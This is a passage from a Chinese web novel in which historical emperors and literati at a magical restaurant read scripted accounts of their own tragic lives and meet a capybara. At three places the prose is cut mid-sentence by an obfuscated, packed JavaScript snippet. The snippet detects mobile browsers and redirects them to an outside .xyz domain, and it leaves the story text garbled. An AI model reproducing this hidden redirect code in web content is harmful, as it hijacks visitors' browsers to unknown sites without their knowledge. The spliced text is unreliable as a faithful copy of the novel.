这么浩浩荡荡一长串,看得人目瞪口呆。 李殷殷算是明白了,每次解锁新菜,都会多出几个受害者。 正准备吃火腿却没有了腿的岳飞、正在喝酒却没有了酒的元稹白居易,正准备烧纸却没有了纸的荀灌…… 一时说不清谁更惨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740807|156910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 新菜出来直接就是成品,只见流光一闪而过,面前桌上立即出现了一道菜,热气升腾。 锡纸散发着光泽,紧包着滚烫的鱼肉。 李殷殷手指微动,将其轻轻拨开,浇上热油,一股诱人的香味便喷涌而出,直扑肺腑。 浓郁的茄汁裹挟着大块鱼肉,汁水四溢。 每一片火腿都晶莹剔透,劲道而有嚼劲,一粒粒胡椒和葱花像星子一样散落,点缀其间。 香气被爆出之后,在空中弥漫,几位食客吸了吸鼻子,都有些迫不及待。 心中也不由松了口气:看来,大列巴也不能代表店主的正常水平,这不也有美食吗,并非全是黑暗料理。 “开饭啦!” 李殷殷握着玉箸,清脆地一敲碗沿。 “昂!” 然而,就在这一瞬,她忽然听到了一阵奇怪的鸣叫。 扭头一看,只见一团软萌的棕色毛绒绒正坐在桌上打哈欠,两眼无神,呆滞望天。 毛脑袋上还顶着一颗橘子,整只豚和橘子一样,都是胖乎乎圆滚滚,呆滞极了。 没错,它就是…… 人类的好朋友卡皮吧啦! “为什么新菜里面,居然还包含一只活着的卡皮吧啦?” 李殷殷惊呆了,忙倒回去看标签。 这时,系统团子悄悄蹦出来,蹭了一下她的脸颊:“主人,因为卡皮吧啦也是一种鱼呀,可以作为烤鱼的备用食材。” 李殷殷看看卡皮吧啦,又看了看桌上的烤鱼。 ……就这,也能是鱼? 系统团子告诉她:“主人,卡皮吧啦起源于南美洲。你或许还记得,之前读过一本史书,讲欧洲国家殖民南美的故事。” “根据基督新教(Protestantism)教义,每周三是盛灰日,每周五是耶稣受难日,都要进行斋戒,不许食肉。” 李殷殷总算回忆起了这一茬:“是啊,所以呢?” 团子欢快地蹦了蹦:“但是,南美土人吃肉吃习惯了,压根不愿意斋戒!殖民者没有办法,就退了一步,跟当地人商量:在这段时间可以吃鱼,但不许吃肉。” “卡皮吧啦因为长期浸在水中,也被视为鱼类的一种,可以杀来吃,成为了土人最喜欢的肉食来源。好在它们能生,每次一繁殖就是一大群,不然已经被吃灭种了。” 李殷殷:“……” 南美土人看来是真饿了,啥都不挑,让她对着卡皮吧啦下嘴,她还真做不到。 对面,卡皮吧啦依旧情绪稳定,顶着橘子一动不动。 两粒小眼睛绽放出清澈而愚蠢的光芒,浑然不知,已经到了生死关头。 也不对。 没准人家虽然知道要死了,但完全不在乎呢! 卡皮吧啦:活着挺好,死了也行,下锅也问题不大。 李殷殷看着这蠢萌玩意,觉得心好累,挥挥手,让小金先把它带下去梳洗一番。 就这么一耽搁,她转身一看,惊愕地发现,方才还满满地一大盘烤鱼,现在已经全部——没了!没了! 盘子干干净净,光可照人,映出了一个颇为懵逼的她! 各位吃饭真是一点都不讲究啊。 看起来仙气飘飘的林逋下手最狠,运筷如飞,仿佛行云流水一般,优雅中带着一丝丝迅疾如风,真是一个饕餮降世。 “店主快来”,朱祁钰冲她招招手,“朕给你留了一些。” “多谢景帝”,李殷殷都快感动哭了,抬手接过碗筷,在他身边坐下,“你真是个好人。” 对方此刻在她心目中的形象无限拔高,充满了人性的光辉! 一边,萧子良看见这一幕,立刻就把碗伸了过来,叫嚷道:“小钰,我也要!” “你自己没长手吗?” 朱祁钰虽然吐槽着,但还是从碗里匀了一块烤鱼过去,换来了一个无比灿烂明媚的笑容:“吃吧,希望能堵上你的嘴。” “谢谢”,萧子良面色真诚,很有礼貌地说,“小钰为人和善,就和旁边的卡皮吧啦一样好,我超喜欢你的。” 朱祁钰:“……” 这是在夸他呢,还是在损他呢?! 8. 第 8 章 朱祁钰找了个僻静位置坐下,翻开了命运剧本。 【0岁。你出生了,是齐武帝萧赜(那时候还不是武帝)和裴皇后的幼子,风华俊秀,天资颖悟,爹娘、兄长和全家人都很疼爱你,待你如珠似宝。】 ……等等,好像拿错了,朱祁钰眉头一皱。 和他的人生轨迹不能说不符合,只能说截然相反。 算了,拿都拿了。 快让他康康,有什么新鲜素材能用来嘲笑萧子良,以报对方喊小钰之仇! 【0.5岁,萧赜因为你的出生欣喜若狂,干出了不少傻事。】 【比如什么用毛毡将孩子一裹,带出去逢人就炫耀啊,什么三天两头带孩子到弟弟萧嶷府上作客,两人一起嘿嘿嘿怪笑,逗小孩玩。】 【他还说,你是天上的小仙童,给你取了小字「云英」,一种长在天河之畔的仙葩,不落凡尘。】 朱祁钰揉了揉眉心,鬼扯,萧赜的老父亲滤镜别太深了。 就萧子良还「仙葩」? 生长在天河之畔的狗尾巴草,倒是更符合他身份。 【1岁,你在外出征的爷爷萧道成得胜归来,乐颠颠地抱着你玩,爱不释手。】 【你咯咯笑着,伸手去拔他的白胡子。萧道成却以为你嫌弃他的胡子,很伤心,从此每隔一段时间,就叫人来拔掉自己的白髭须,而后才去见你。】 【2岁,你的小叔叔萧嶷,在当朝以风度弘雅、明谋善断著称,暂时没有孩子,就打上了你的主意。】 【他拿了很多儿童玩具、名画墨宝,还有你小叔母庾夫人做的菜来诱惑你,说你和他很像,应该以后和他一起过。】 【你看着很多好吃的,怦然心动,直接被小叔叔拐跑了。】 【太子兄长闻讯,大为焦急,连夜用小板车将你拖回了家。】 【你的爹娘严辞拒绝并训斥了小叔叔,生怕他贼心不死,再过来偷孩子,连夜带着你和太子兄长跑路,前往外地调兵征战。】 朱祁钰:“……” 好热闹的一大家子! 他算是弄明白了,为什么萧子良如此闹腾。 有这么生性欢脱又宠孩子的家长,很难不放飞自我啊。 【萧赜起于微末,亲征四方,早年岁月历尽艰辛坎坷,多次险死生还,终于站到了最高处。】 【战火纷飞的岁月,再苦再难,他也一直将你和你的兄长带在身边,亲自抚养,你们一家四口始终不曾分开。】 【当然,这和小叔叔一直在旁边虎视眈眈,想把你偷走,也有那么亿点点关系。】 【爷爷萧道成也很爱护你,你一心向文,不愿涉烽火兵戈,世人往往嗤之以鼻。但被他抓典型解决掉几个人后,谁也不敢再嘲笑你了。】 【他常抚摸你的背,笑着说,日后英英的才名定会冠绝天下。】 【南齐建国后,皇爷爷给你封了一大堆官职和赏赐,还加了殊礼,东宫及以下官僚见你都得行礼,这是魏晋以来,皇孙从未有过的待遇。】 【建元二年,你娘、太子妃裴夫人去世,你很伤心。萧赜比你更难过,一意孤行,将她作为正神,升入了天子七庙。】 【永明元年,萧赜登基,封你为竟陵王。】 【尽管你一生都没有去过竟陵,但这片土地注定要因为你而熠熠生辉,和你、以及你的竟陵八友,谢脁、沈约、萧衍等人一同写入青史。】 朱祁钰停在卷边的手指微微一顿。 到这个时刻为止,萧子良的前半生几乎是完美的,家人钟爱,顺风顺水,沐浴着无尽爱意成长,每一天都是艳阳高照,晴空万里。 “多好啊”,他喃喃道。 世间竟然真的有人这么幸运,分明生在最冰冷森严的帝王家,却能得到最真挚深厚的情义。 他从前也曾妄想过的,后来,知道自己得不到,便不再求了。 这一刻,他竟然有些迟疑,不知该不该继续往下翻页,仿佛不愿看见一场好梦的破碎。 幸好,接下来的内容还是很不错的—— 【你博览群书,气宇清深,才名冠绝当世,时人以为词藻清拔,灿烂金石。又很喜欢认识新朋友,便在府中广招宾客,天下才学慕名而来,皆游集焉。】 【夏月客至,你给朋友们设瓜饮及甘果,请大家一起吃吃喝喝。】 【士子朝人、乡村野士凡是有文章写得好,都来找你推荐,或是撰写文集的序章,得你一评语者,往往能迅速风靡四方各地。】 【你及冠了,本该去封地就藩,但父皇不舍得让你走,强行留了一年又一年。最后,实在被大臣吵烦了,终于松口,让你移居鸡笼山西邸开府。】 朱祁钰看了一眼地图,陷入了深深的沉思。 鸡笼山在建康城郊外,玄武湖旁边,从宫中驾驶马车过去……还不到半小时。 这也能算就藩? 只能说,萧赜宠孩子真是宠得没边了。 【你这次开府,太子兄长跑前跑后,出了大力,又画设计图,又让东宫人马去帮忙修房子,就连西邸的小佛堂都是他亲手布置的。】 【更是时不时就白龙鱼服出宫,找你吃饭,再说点悄悄话。】 【你在西邸,集学士传抄五经、百家,创作《四部要略》千卷,文星耀目,从者如云。】 【你还和朋友们一起创作出了「永明体」,辨明四声八病,这是格律诗的始祖,影响了后世一千多年的所有诗歌创作。没有它,就没有后来的唐诗。】 【和你关系最好的朋友们,被称作「竟陵八友」,都住在你家里。你和他们同寝同住,一起出游,不遗余力地为他们推荐,关系可铁了。】 【沈约现在已经成了文坛盟主,一代词宗,虽然你一开始和他结交只是因为他的美貌;谢脁比你还略小几岁,时常周游山水,作着清新飘逸、传诵千古的名诗;萧衍通读六经,博学多才,而且擅长弓马,是你朋友中的一个异种……】 可不正是异种么,朱祁钰暗自吐槽。 萧衍后来都当上梁朝开国之君,大好江山“自我得之,自我失之”了,谁还能奇葩得过他?! 他的开国宰相就是沈约。 这一对开国君臣居然都是萧子良的好友,还是一起靠起兵造反上位的,虽然那时候萧子良已经去世近十年了。 真是冤种啊。 朱祁钰想到这里,忽然有些难受。 为何世间的真心总被辜负,好景不能长久,反而是叛逆者扶摇直上,站到了最巅峰? 【当然,你也有自己的烦心事,那就是自己的家人。】 【岁月如流,弹指而逝,他们的身体似乎都越来越不好了,你很担忧,经常为他们焚香祈福。】 【自从裴夫人去世后,你就开始信佛,信仰十分虔诚,希冀参透来世念破轮回之后,仍可再续今生因缘,复为母子。】 【你在西邸,大批招致名僧,讲语佛法,造经呗新声,如此胜景江左古来未有也。平日,更是经常主持佛道法会,大集朝臣众僧,赋食行水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756596|156910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,躬亲其事。】 【同时,你也多次救济百姓,开仓赈救全国的贫病孤老,并在自己的府邸旁建房子收养他们,给衣及药。你暗自盼望,这些救人的功德能够返还到你家人身上。】 【小叔母庾妃生了重病,半年后,终于痊愈,你很高兴。父皇也宫车驾临了豫章王宅,一家人聚在一起吃了一顿家宴,吹拉弹唱,欢歌达旦。】 【然而,这是你们一家人最后一次聚得这么齐了。】 朱祁钰叹息一声:“唉,好梦由来最易醒。” 这时,萧子良正好在外面散步消食,溜溜哒哒地走进小花园。 他眉梢微挑,调侃了一句:“小钰,你是看到了未来什么不好的事吗?快说出来让我开心一下。” 希望你待会儿还能笑得出来…… 朱祁钰招招手,示意人坐过来:“一起来看吧。” 萧子良还以为他遇人不淑(大雾),要自己帮忙骂人,当即衣袖一挽,表示义不容辞:“小钰放心,我最擅长批判别人了!” 结果,一抬眼,就看到了一条巨大的噩耗—— 【永明十年,你的小叔叔、豫章王萧嶷病重,武帝以天子之尊,亲自为弟弟侍疾,陪伴他走过了最后的时光。】 萧子良:!!! 这就是他刚经历过的事! 【武帝自登基以来,力行节约,勤俭治国,未尝营造任何一座殿宇。】 【唯独这一次在萧嶷死后,将宫中大量珍玩全部卖掉,凑足一大笔钱为弟弟修建庙宇,愿他转世之途顺顺当当,愿他来世平安喜乐。】 【集善寺楼高百尺,每一片砖每一片瓦,都是一位坐拥江山的帝王,对弟弟最深挚的祈福。】 【葬礼还没办完,萧嶷的夫人庾妃也走了。】 【她从前是国祭的主持者,明断公允,一向深得朝野士民之心,宗室小辈们也很喜欢她,有什么烦恼都喜欢找她倾诉。】 【如今噩耗传来,无不为之落泪。】 【你的太子兄长亲自给小叔叔、小叔母各写了墓志铭,未及勒碑,自己也已经病重。】 【武帝天天往东宫跑,几乎半住进来,忧心至极,用尽了各种救治方法,却皆不奏效。最后,百般无托,只好求助于神佛,祈祷四方,大赦天下。】 【太子弥留之际,哽咽着说:自从阿娘去世,我就知道生死有命,理不足悲。父皇,阿弟,你们今为我恸哭至此,让我的黄泉路如何走得安稳?】 【唯愿你们尽快振作起来,保重身体,平安百岁,则我,“虽亡九泉,无所遗恨”。】 萧子良读到这里,泪盈于睫,缓慢抬袖盖住了脸。 这对他来说就是最近发生过的事,一瞬间,只觉悲从中来,痛彻心扉。 然而一转头,却发现朱祁钰神色悲伤,似乎比他还要更入戏几分,赶忙递过去一块帕子:“快擦擦。不是吧,小钰,你怎么看起来比我还伤心——” 朱祁钰垂下眼睫。 无论是萧赜萧嶷,还是萧长懋萧子良,都手足情深,堪称世人典范。 他从来没得到过如此温暖的亲情,所以见了他们的故事,很难不为此动容。 然而,就在这时,萧子良补完了后半句问题:“——难道你也有哥哥或弟弟去世?” 朱祁钰嘴角一抽,想象了一下那个场景:“如果不考虑做表面工作的话,朕会很想让全京城放鞭炮,大贺三日。” 萧子良:??? 这就涉及到他的知识盲区了! 9. 第 9 章 二人面面相觑了一阵,萧子良见他不像在开玩笑的模样,不觉愕然:“你和你哥哥关系很差?” “从前也不算很差”,朱祁钰回忆起往昔,一时心绪复杂,“幼年时,我和他同住禁宫,也曾亲密无间,但如今时过境迁,终究走向了同室操戈。” 啊这...... 萧子良眨眨眼,露出了一点「我真理解不了你到底在说什么,难道哥哥长大了就不是哥哥了吗」的迷茫小表情。 朱祁钰无奈地笑了笑:“云英还是不明白的好。” 人都会被自己身处的环境,限制了思维。 萧子良被家人保护得太好了,以他一生所经历的家庭幸福、父慈子孝、兄友弟恭…… 根本就想象不到,世间当哥哥的人,除了萧长懋这样的绝世好兄长,竟然还有朱祁镇这样的杀才。 “噢”,萧子良点点头,行叭,小钰总是很聪明的,那就暂且相信他一回吧。 他灵机一动:“对了,要不要我下回帮你找几百个刀斧手,埋在幕后,摔杯为号,直接把你哥哥干掉!” 朱祁钰:“……” 究竟是什么样的天才,才会想到一口气找几百名刀斧手,一起藏在帘子后面叠罗汉?! 继续看萧子良的人生剧本: 【永明十一年,你的哥哥病故,父皇也因为白发人送黑发人,深受打击,几次扶棺哭昏过去,你留在宫中守着他,不敢有片刻离开。】 【葬礼终于结束,除服之后,父皇开始思索立继承人之事。】 【他曾问过你的意愿,但你还记挂着自己没修完的文集,根本无心帝业,更不愿自困金銮殿。】 【在你看来,当高坐庙堂的青雀子,哪里比得过泛舟五湖的世外仙,于是断然回绝。】 【父皇叹了口气,终究不忍心勉强你,决定立太子长子萧昭业为皇太孙。】 【他认为,萧昭业幼年曾被你抚养,情谊深厚,登基后绝不会亏待你,定然能让你平平安安到白头。可惜,这次他看走了眼,萧昭业着实不是个东西。】 【萧昭业此人,极其擅长伪装,且又蠢又毒,做事毫无下限,举几个例子——】 【什么在太子灵前假装痛哭流涕,回宫就寻欢作乐,通宵达旦。】 【什么表面上很担忧武帝的疾病,一回家就找来一大群僧人诅咒武帝早死。】 【什么武帝勤勤恳恳数十年,国库丰稔,被他登基几个月就全部败光,弄得流民四起,民不聊生……】 【也因此,给了萧鸾起兵作乱的机会。】 【但这一切已经和你没有关系了,因为,你早已死在了萧昭业当政时。】 萧子良沉默许久。 他垂眸望着纸面,目光里有愤怒,亦有哀凉和不解:“昭业怎么会成了这个样子?” “他小的时候,我还经常抱着他,给他念诗开蒙,带着四处郊游祈福呢,全家他最亲的就是我……” 朱祁钰也轻轻叹息了一声:“人都是会变的。” 齐武帝起于微末,一生所向披靡,洞悉人心若观火,唯一一次看走眼就是立皇太孙。 他本以为自己做对了抉择,能保萧子良一生安然无忧,自由做自己喜欢的事。 却没想到,一念之差,代价就是葬送了孩子的一生。 【这一年过半,武帝病重。】 【在生命的最后时刻,他只想陪着你一起静静度过,别的访客谁也不见,国事皆托付宰相。你入宫侍疾,同寝同住,亲手煎制医药,日夜陪在他身边。】 【一次,你为他诵读《妙法莲华经》祈福,他夜梦昙花盛开,醒来便笑着抱住你,说梦见你了。】 【你看着父皇鬓边的白发,鼻子发酸,强忍着没让眼泪落下来,亲手雕了很多荷花插在御床四周。】 【你在宫中日久,与外界音讯不通,朝野议论纷纭,都在商议要立你为帝,琅琊王氏的王融更是甲仗入宫,欲发动兵变,却被你断然回绝。】 【七月末,武帝驾崩,永明纪元至此终结。】 【这是一段时代的结束,也是一个文华灿烂、四野平安、百姓无鸡鸣犬吠之警的治世的彻底埋葬。】 【因为你的退让,萧昭业顺利登基。】 【然而,他因为先前地位曾受到威胁,对你深深怀恨在心,登基后,立即翻脸,赐死了你的好友王融,还将你禁锢在府中,不许为武帝送葬停灵。】 “可恨!” 萧子良见了父皇死讯,正伤心呢。 看见这一行,陡然间怒火上涌,拍案而起:“那是我阿耶,他凭什么拦我!回去定要同这厮清算!” 他实在是气急,连“这厮”都迸出来了。 又道:“就算看在阿兄的份上不杀他,也得把他剔出我们家,流放到千里万里外,永世不许回朝。” 【但此刻的你,已经完全不在乎萧昭业的态度如何。】 【在过去半年中,你先后失去了所有的至亲,哀莫大于心死,对这世间已经没有什么可留恋的了。】 【每次夜半惊醒,你都会以泪洗面,久久难以成眠。你解散了竟陵西邸,无心再修文集,朋友们也都被你送走了,流散东西,各奔向自己的前程。】 【你写了很多追忆亲人的诗歌,词旨悲凉如泣,催人泪下,这些诗让你名垂千古,成了后人眼中的大文豪。】 【小半年后,你郁郁而终,客死在荆州边境(一说被萧昭业隐诛。)】 【昔年,你送小叔叔入殓,葬在金牛山,又送太子哥哥葬在夹石山。】 【那时,你望着两山中间的祖硎山,曾悲感叹曰:“北瞻吾叔,前望吾兄,死而有知,请葬兹地。”】 【萧昭业遵循了这个愿望,将你葬在此处。】 【但也仅此而已,他不许任何人给你立碑树坟,就连茔冢都没剩下,山石之间,唯有一片空空荡荡,草木萧瑟。】 【而你的朋友们,亦生死各寥落。】 【王融早已鸩酒赐死,谢脁在狱中被冤杀,沈约成了梁朝的开国宰相,却晚景凄凉,一生余情忏较多……】 纵观萧子良的一生。 就是在最绚烂的绽放后又归于最深沉的寂灭,从春华烂漫、花团锦簇,到日寒虞渊、苍凉无声。 他曾经历过那么多的美好,却都在生命的最后一年中,用尽了所有的悲凉寂寞来偿还。 就如他的小字「云英」,仙草只生于瑶台仙境,不落凡尘。 终究是一语成谶,一切都成了人间留不住。 对于彼时的他来说,一切可值得眷恋的人和事都不在了,能就这样离开,也是一种解脱吧? 萧子良目光怔然,静坐了许久,一言不发,好似灵魂已被抽离。 “云英”,朱祁钰有心想安慰他几句,又觉得这时候说什么都不合适。 最终只是拍拍他的肩膀,道,“你还有时间,最糟糕的那件事尚未发生,一切都还来得及。” 萧子良极为勉强地扯了扯嘴角:“谢谢。” 再往下翻,就是萧鸾血洗宫廷的剧情了。 【萧昭业即位次年,就被萧鸾起兵废杀,随后,便自行篡国登基,开始大肆屠杀南齐宗室。】 【高帝、武帝满门全部被屠,按照族谱被灭门,上至成年的儿子,下至几个月大的婴孩,男女老少,无一幸存。】 【永明年间的辉煌荡然无存,取而代之的,是一个极端混乱、人人自危且遭到迫害的乱世。】 【烽火持续了近十年,到处都是不休的内战,直至萧衍建立梁朝,肃清江表,才得以拨乱反正。】 【更可气的是,萧鸾为人特别擅长作秀,每次下令杀诸王,都要点火焚香,告知先皇,而后痛哭流涕,唱念做打一番。】 【以至于朝野皆知,皇帝一流泪,必定要大开杀戒。】 萧子良看得拳头硬了! 就离谱。 刽子手杀人前居然还要焚香告知,真是当场炸坟,跟他同归于尽的心都有了!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14766311|156910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 对此,朱祁钰表示大开眼界:“萧鸾究竟是你家什么人?” 这家伙,行事颇有胡亥之风,简直远迈南宫太上皇啊。 萧子良合上卷轴,冷笑道:“他是皇爷爷的侄子,也就是我堂叔。幼年双亲俱亡,皇爷爷便亲自抚育他,疼爱有加,视如己出,待遇和亲儿子一样。” 从萧鸾的小名「玄度」就知道了。 玄度就是明月,清新而皎洁,所谓「清风朗月,辄思玄度」。 萧道成用小月亮这样美好的意象给侄子取小名,该有多么深厚的情谊和期许,甚至一登基,就让侄子官至宰相。 全家人平时也是一口一个小月亮地叫着,亲厚无比。 早知如此,还不如当初就不要收养萧鸾,任由他辗转沟渠、死在外面算了,总好过日后灭门! 当初,萧长懋也曾看出问题,觉得萧鸾这个人居心刻毒,起了杀意。 但萧子良却觉得大家都是亲人,什么事说不开,于是,多次出言回护,还为了保护他,特意把萧鸾接到府邸住了一段时间。 萧长懋到底拗不过弟弟,只得就这么算了。 他一片好心,结果呢? 萧子良现在内心充满了愤怒。 哪怕他只是个文人名士,从没握过刀,但假如萧鸾此刻在他面前,他一定会毫不犹豫地冲上去,将其乱刀分尸。 “我要他不得好死”,他冷冷地说。 一扭头,准备找个帕子擦眼泪,结果帕子没找到,倒是抓来了一张人生剧本。 哦,是朱祁钰的。 “我能看吗?”他瞬间就精神抖擞,进入了吃瓜模式。 “可以。” 朱祁钰从没见过这么快的变脸,迟疑着说,应该没什么见不得人的吧…… “嘻嘻,那小钰等会,我先做点喝的来”,萧子良转头就溜去了厨房。 朱祁钰:你别是在投毒吧?这能喝? 抽奖还有一段冷却时间才能开始,李殷殷给了一群客人自由活动的权限。 嬴政在厨房,本来想吩咐机械人小金做一顿「皇统无疆凤珠氽」。 厨房里唯一的鱼类食材就是卡皮吧啦。 把这玩意做成鱼丸,多少有点超乎人类的底线了,他最终只好放弃了这个念头。 然而,让嬴政万分不理解的是,卡皮吧啦不知为什么,竟然缠上了他。 他走到哪里,卡皮吧啦就跟到哪里,摇摇晃晃,坚持着寸步不离。 卡皮吧啦:因为本豚发现,他的玄衣黑金配色看起来居然比本豚更黑,怪亲切的,本豚也是第一次见。 嬴政特地问了店主,这家伙名字如此奇怪,究竟怎么回事。 结果,得到了一个令人振奋的消息。 卡皮吧啦除了德语名,叫Wasserschweine以外,在英语、法语、意大利语、以及印欧语系的其他所有语言中,统一都叫卡皮吧啦(Capybara/Capibara)。 嬴政顿时精神一振。 别看卡皮吧啦长得蠢萌,但人家的精神意义重大啊! 这么一个小玩意都能一统诸国语言,没道理他大秦不行。 定要开疆拓土,扫平各方,而后把大秦官话推广向全世界! 于是,嬴政一改先前的嫌弃,果断决定,从今天起,卡皮吧啦就是大秦对外战争和开疆拓土的吉祥物了。 既然是吉祥物,就要把相应的排面拉满。 仔细改造了一番,梳洗之后,吹干毛发,头顶的橘子也换成了一顶精致的小玉冠。 始皇帝龙行虎步,穿过庭院,出门看风景。 卡皮吧啦亦步亦趋,紧跟在他后面,圆滚滚的身子一扭一扭。 这场面怎么说呢…… 萧子良:“噗。” 大家都是体面人,一般不笑,除非实在忍不住。 呵,你小子,嬴政似有所觉,转身投来一道死亡视线。 萧子良:溜了溜了。 10. 第 10 章 厨房里,各式茶水饮品都全部备齐。 萧子良碰见了林逋,他正在泡一壶西湖龙井。 白衣若雪的隐士在茶烟袅袅间低眉,素手分拨翠叶,长发用一根玉簪极为随意地束起,又有几丝飘然垂下。 清茶在盏中翻动,好似一池云雾涌卷。 这一幕,连人带茶,宛然凝结成了一幅静谧的水墨画。 萧子良静静欣赏了许久,接过林逋递来的茶盏,含笑道:“和靖先生有空一定要来我大齐,见见我父皇。” 武帝是历史上第一个以茶代酒,用茶来祭祀太庙与社稷坛的人。 他生活简朴,勤俭治国,绝不许铺张浪费,曾让萧子良以后拜他的陵也不要宰牲,放一些茶酒和果脯糕点就行,以免浪费。 萧子良笑道:“届时,我们可以开一个茶话会,邀请各路文人墨客,一同曲水赋席,清流杯盏,风雅不逊兰亭。” 若别的帝王,林逋自然不愿去见,但以茶会友,单纯参加一个茶话会倒是无妨。 他微微点头:“我会的。” 萧子良饮完一杯龙井,唇齿留香,接着,就陷入了沉思。 他本来是想给朱祁钰制作一杯龙井的,但有林逋珠玉在前,还是算了吧,就算把自己丢进锅,都煮不出这么好的茶来。 那就只能...... 以创意取胜了! 萧子良自由发挥,用一些玫瑰、辣椒晶体、清凉花、西湖龙井、抹茶粉、来自南美洲卡皮吧啦故乡的马黛茶叶片,DIY了一壶自己也说不清名字的鬼东西。 他美美地饮了一口,但觉一股奇异的味道直冲天灵盖。 嗯,确认了,一定可以惊艳到小钰! 林逋在旁边欲言又止,暗自决定如果下回开茶话会,第一个就要把他这个危险分子赶出去。 “小钰快看,我给你带了好喝的!” 萧子良兴冲冲地往回走,发现朱祁钰凝视着命运剧本,神情破碎。 “怎么啦,你看到什么了?” 萧子良自然地在他身边坐下,低眸望了望卷轴,顿时爆发出一声怒斥:“欺人太甚!他们胆敢这样对你!” 一壶茶在惊怒中怦然落下,眼看就要洒在纸上。 朱祁钰回过神来,眼疾手快,迅速地伸手一捞。还好,没漏出来,还能喝。 萧子良已经气坏了,恨不得把这张纸给吃了。 朱祁钰无奈,只得一人倒了一杯茶:“云英,你先坐下。” 见萧子良怒气冲冲,举杯一饮而尽,他寻思着这茶应该没什么问题,就端起了茶盏,下一秒—— “噗咳咳咳咳咳!” 从外观上来看,这只是一杯平平无奇的茶水。 但喝下去的时候,他竟然仿佛看见了太爷爷朱棣在黄泉路上征战,杀得人头滚滚,忽而回头对他龇牙一笑。 而他的爷爷朱高炽,扭动着胖乎乎的身子,艰难起舞。 他亲爹朱瞻基在一旁高声清唱着:“正月里头一天啊~过呀么过新年~” 一瞬间,朱祁钰就被自己的想象吓醒了,狠狠打了个寒颤,再回看手中杯盏,视线已经充满了惊悚。 这能是茶水? 分明是致幻剂! 萧子良抬眼朝他一看:“小钰,你也很生气对不对,快来喝点茶舒缓一下,你未来竟然落得这么惨痛吗……” 身为当朝天子,居然被一个废帝成功发动政变困杀。 死后废除帝号,不入太庙和皇陵,无神祠无奉祀,只得了一个戾字。 是不是很熟悉? 可太熟悉了,简直跟他本人的境遇一模一样。 同样英年早逝,同样死后毫无祭奠,而且也同样被自己的至亲狠狠背刺了一刀,凄凉谢世,走都走得极其不安稳。 此刻,萧子良看着朱祁钰,宛如见到「世另我」,心中怜惜,伸手就要给他倒茶。 朱祁钰赶忙躲开了,内心惊恐万状:朕身边最大的危险就是你!你不要过来啊! 萧子良寻思着可能是他心情不好,倒也没有勉强。 只是叹息道:“你呀,就是心太软,就该早点斩草除根!要是你果断杀了你哥哥,我也果断杀了萧鸾萧昭业,哪里会迎来日后这些祸事……” 朱祁钰打断他,轻咬着牙,一字一句地迸出了这句话:“朕真恨啊。” 恨疏于防备,恨自己错信于人,恨魂断深宫身死非命,恨第八年寒冬正月,春光永不至。 恨昔日同心的君臣只能共踏黄泉路,而竖子宵小,却窃据高位笑到了最后。 也恨分明挽救了江山朝纲,却没有一个好结局。 但他最恨的,还是自己的一念之仁。 怎么就没杀了朱祁镇,为什么独独放过了他呢。 于谦赴难的时候,正凛冬深雪,阴霾四合,天寒地冻掩不住万民哀哭声四起,每一声,仿佛都在心上进行一遍凌迟。 这些话,全都没有说出来,但萧子良一定已经感知到了。 萧子良沉默许久,眼圈倏然红了,一把攥住了朱祁钰的手,喃喃道:“……我也是。” 怎么能不恨呢。 对他来说,那是十年的烽火战乱,是亏空的国库,是万灵的生机,是齐梁禅代,整个江山社稷的倾覆,家国神器的易主。 是他全家满门的性命,也是他好友沈约、谢脁、王融,将刻骨遗憾写满了浩荡史书页的一生。 二人各自想着心事,默然无言。 过了许久,朱祁钰打破了这片寂静,沉沉地叹息道:“是朕之过,误了廷益,也误了自己和天下人。” 萧子良:!忽然警觉.jpg 不是,小钰你在说啥啊! 他这个人最大的特点就是情绪稳定,从不内耗。 因为曾经得到过很多很多的关爱,所以内心温暖而明亮,动力十足。 当然,他之所以不内耗,主要还是在某种程度上,他最擅长创死别人…… “一派胡言!” 萧子良袖口一挽,恼怒地在桌沿一拍,“于谦的死跟你有何干系?莫要拿别人的错来惩罚自己!” “罪魁祸首分明是朱祁镇,都怪他,他该死他该杀他合该千刀万剐永跪太庙永世不得翻身,他是猪他禽兽他当真卑劣下贱无情无义无耻登峰造极!” 朱祁钰:? 道理他都懂,但怎么还忽然对仗起来了? 萧子良冷笑一声,又道:“只要有朱祁镇这样的昏君在位,下边贤臣不管做什么应对之策,都是无解的。” 于谦在夺门之变时,手握重兵但按兵不动,后来遭到了清算。 那么,问题来了。 动兵难道就能活了吗? 王融面对永明末年波谲云诡的立储格局,主动出击,戎服带兵甲仗入宫,把守宫门,想要发动政变拥立新主。失败后,被一杯鸩酒赐死。 谢脁面对王敬则叛乱,试图中立,告发了首谋,不与同流合污,最终还是下冤狱惨死。 这是政变未成功的。 那,成功了的呢? 